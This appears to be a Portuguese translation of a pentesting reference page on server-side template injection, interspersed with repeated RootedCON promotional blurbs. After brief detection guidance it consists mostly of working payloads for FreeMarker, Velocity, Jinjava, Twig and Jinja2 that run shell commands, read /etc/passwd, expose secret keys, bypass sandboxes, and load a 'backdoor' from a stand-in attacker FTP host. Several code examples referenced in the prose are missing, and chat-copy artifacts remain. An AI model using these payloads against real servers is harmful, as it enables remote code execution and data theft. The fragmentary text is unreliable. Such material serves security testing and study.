RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
O que é SSTI (Server-Side Template Injection)
A injeção de template do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
Jinja é um mecanismo de template popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja:
Neste código vulnerável, o parâmetro name da solicitação do usuário é passado diretamente para o template usando a função render. Isso pode potencialmente permitir que um atacante injete código malicioso no parâmetro name, levando a uma injeção de template do lado do servidor.
Por exemplo, um atacante poderia criar uma solicitação com um payload como este:
O payload {{bad-stuff-here}} é injetado no parâmetro name. Este payload pode conter diretivas de template Jinja que permitem ao atacante executar código não autorizado ou manipular o mecanismo de template, potencialmente ganhando controle sobre o servidor.
Para prevenir vulnerabilidades de injeção de template do lado do servidor, os desenvolvedores devem garantir que a entrada do usuário seja devidamente sanitizada e validada antes de ser inserida nos templates. Implementar validação de entrada e usar técnicas de escape sensíveis ao contexto pode ajudar a mitigar o risco dessa vulnerabilidade.
Detecção
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, fuzzing do template é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (${{<%[%'"}}%\) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem:
Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
Contexto de Texto Simples: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, {{7*7}}, ${7*7}).
Contexto de Código: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando greeting em http://vulnerable-website.com/?greeting=data.username para ver se a saída do servidor é dinâmica ou fixa, como em greeting=data.username}}hello retornando o nome de usuário.
Fase de Identificação
Identificar o mecanismo de template envolve analisar mensagens de erro ou testar manualmente vários payloads específicos de linguagem. Payloads comuns que causam erros incluem ${7/0}, {{7/0}}, e <%= 7/0 %>. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de template específico.
uma tabela interativa contendo os poliglotas de injeção de template mais eficientes, juntamente com as respostas esperadas dos 44 motores de template mais importantes.
Exploits
Genérico
Nesta wordlist você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Recuperar as variáveis de ambiente do sistema
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass de Sandbox
⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
No Thymeleaf, um teste comum para vulnerabilidades SSTI é a expressão ${7*7}, que também se aplica a este mecanismo de template. Para potencial execução remota de código, expressões como as seguintes podem ser usadas:
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, inlining de expressões é suportado para outros locais de template, usando sintaxe como [[...]] ou [(...)]. Assim, um simples payload de teste SSTI pode parecer [[${7*7}]].
No entanto, a probabilidade de esse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio TemplateResolver para criar templates a partir de strings em tempo real, o que é incomum.
Thymeleaf também oferece pré-processamento de expressões, onde expressões dentro de sublinhados duplos (__...__) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
#{selection.__${sel.code}__}
Exemplo de Vulnerabilidade no Thymeleaf
Considere o seguinte trecho de código, que pode ser suscetível a exploração:
Isso indica que, se o mecanismo de template processar essas entradas de forma inadequada, isso pode levar à execução remota de código acessando URLs como:
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
JavaServer Faces (JSF): Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
JavaServer Pages (JSP): EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
Contexts and Dependency Injection for Java EE (CDI): EL se integra ao CDI para permitir uma interação perfeita entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
Verifique a página a seguir para saber mais sobre a exploração de interpretadores EL:
Groovy (Java)
As seguintes contornadas do Security Manager foram retiradas deste writeup.
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates é um mecanismo de template nativo do PHP, inspirado no Twig. No entanto, ao contrário do Twig, que introduz uma nova sintaxe, Plates aproveita o código PHP nativo nos templates, tornando-o intuitivo para desenvolvedores PHP.
Controlador:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
{{7*7}} = Erro
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Formato de template
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
O método .NET System.Diagnostics.Process.Start pode ser usado para iniciar qualquer processo no servidor e, assim, criar um webshell. Você pode encontrar um exemplo de webapp vulnerável em https://github.com/cnotin/RazorVulnerableApp
No mecanismo de templates do Go, a confirmação de seu uso pode ser feita com payloads específicos:
{{ . }}: Revela a estrutura de dados de entrada. Por exemplo, se um objeto com um atributo Password for passado, {{ .Password }} pode expô-lo.
{{printf "%s" "ssti" }}: Espera-se que exiba a string "ssti".
{{html "ssti"}}, {{js "ssti"}}: Esses payloads devem retornar "ssti" sem adicionar "html" ou "js". Diretrizes adicionais podem ser exploradas na documentação do Go aqui.
Exploração de XSS
Com o pacote text/template, a exploração de XSS pode ser direta ao inserir o payload diretamente. Em contraste, o pacote html/template codifica a resposta para evitar isso (por exemplo, {{"<script>alert(1)</script>"}} resulta em <script>alert(1)</script>). No entanto, a definição e invocação de templates em Go podem contornar essa codificação: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Exploração de RCE
A exploração de RCE difere significativamente entre html/template e text/template. O módulo text/template permite chamar qualquer função pública diretamente (usando o valor “call”), o que não é permitido em html/template. A documentação para esses módulos está disponível aqui para html/template e aqui para text/template.
Para RCE via SSTI em Go, métodos de objeto podem ser invocados. Por exemplo, se o objeto fornecido tiver um método System que executa comandos, ele pode ser explorado como {{ .System "ls" }}. Acesso ao código-fonte é geralmente necessário para explorar isso, como no exemplo dado:
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.